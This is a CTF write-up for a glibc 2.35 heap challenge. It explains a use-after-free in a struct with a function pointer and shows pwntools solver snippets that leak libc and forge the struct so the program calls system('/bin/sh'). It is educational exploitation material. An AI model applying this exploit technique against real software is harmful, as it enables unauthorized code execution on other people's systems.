· 5 min read

CSAW26 Quals - Saint Vespers and the Copper Choir

A struct with a name buffer right below a function pointer that gets called with the struct as its argument. glibc 2.35, so no hooks, but none needed.

Tagged: heap, function-pointer, glibc

Event
CSAW CTF Quals 2026
Category
pwn
Given
vespers, vespers.c, libc.so_3.6 (glibc 2.35), ld-2.35.so

The object

typedef struct chorister {
    char   name[0x38];                      // 0x00
    void (*sing)(struct chorister *self);   // 0x38  <- called as c->sing(c)
    char  *transcript;                      // 0x40
    size_t transcript_len;                  // 0x48
    int    active;                          // 0x50
} chorister_t;                              // sizeof 0x58 -> chunk 0x60

Vulnerability

op_retire() frees c->transcript and c, then writes c->active = 0 into the chunk it just freed, and never clears choir[idx]:

if (c->transcript) free(c->transcript);
free(c);
c->active = 0;          // UAF write

op_restore() sets c->active = 1 on the same freed object, so every other menu option now works on a dangling chorister_t.

tcache only overwrites the first 0x10 bytes of a freed chunk (fd and key), so sing, transcript, transcript_len and active are all still there.

Target

glibc 2.35, Full RELRO, PIE, NX, canary. The hooks were removed in 2.34, so no __free_hook. I didn’t need one: the program already makes an indirect call with an argument I control, and since name[] is at offset 0, that argument points straight at my text.

Exploit

The solver is pwntools, with a wrapper per menu option (recruit, retire, restore, recite) over the same io:

from pwn import *

context.binary = ELF('./vespers', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
io = remote(args.HOST, int(args.PORT), timeout=20) if args.REMOTE else process('./vespers')

def menu(c):
    io.recvuntil(b"> "); io.sendline(str(c).encode())

def retire(i):
    menu(2); io.recvuntil(b"seat? "); io.sendline(str(i).encode())
  1. Recruit seat 0 with a 0x500 transcript, and seat 1 as a guard so the big transcript isn’t next to the top chunk.
  2. Retire and restore seat 0. The 0x510 transcript is too big for tcache, so it goes to the unsorted bin with fd = bk = main_arena+96, and the object is freed but still marked active.
  3. op_recite(0) does write(1, c->transcript, c->transcript_len) on the freed buffer, which prints the arena pointer. main_arena+96 is at libc+0x21ace0 in this build.
  4. Retire seat 1 so tcache[0x60] = [C1, C0].
  5. Recruit seat 2 with a 0x58 transcript. The chorister malloc gets C1 and the transcript malloc gets C0, which is the dangling choir[0]. read_exact then writes 0x58 bytes of my data over the struct:

    forged  = b"/bin/sh\x00".ljust(0x38, b"\x00")   # name[] — also the argument
    forged += p64(libc.sym.system)                  # sing
    forged += p64(0) + p64(0) + p32(1)              # transcript, len, active
    recruit(b"C", 0, 0x58, forged.ljust(0x58, b"\x00"))
    
  6. op_perform() goes through the active choristers and calls choir[0]->sing(choir[0]), which is now system("/bin/sh").

Things that tripped me up

  • The shipped libc has main_arena stripped. I got the offset by checking against /proc/<pid>/maps instead of guessing.
  • stdout is set to _IOFBF with setvbuf, so nothing gets flushed before system() runs. Waiting for the “Performance begins” banner hangs forever, so talk to the shell directly.
  • system starts with endbr64, so IBT on the binary doesn’t get in the way.

Root cause

One missing line. If choir[idx] were cleared on free, none of this would work. The active flag doesn’t protect anything, because it’s stored inside the allocation it’s meant to guard.

Solver: x.py

Challenge files

  • vespers
  • vespers.c
  • libc.so_3.6
  • ld-2.35.so
  • solve/

Download the zip (21 files, 3.0 MB)

flags redacted; flag images and local flag.txt files removed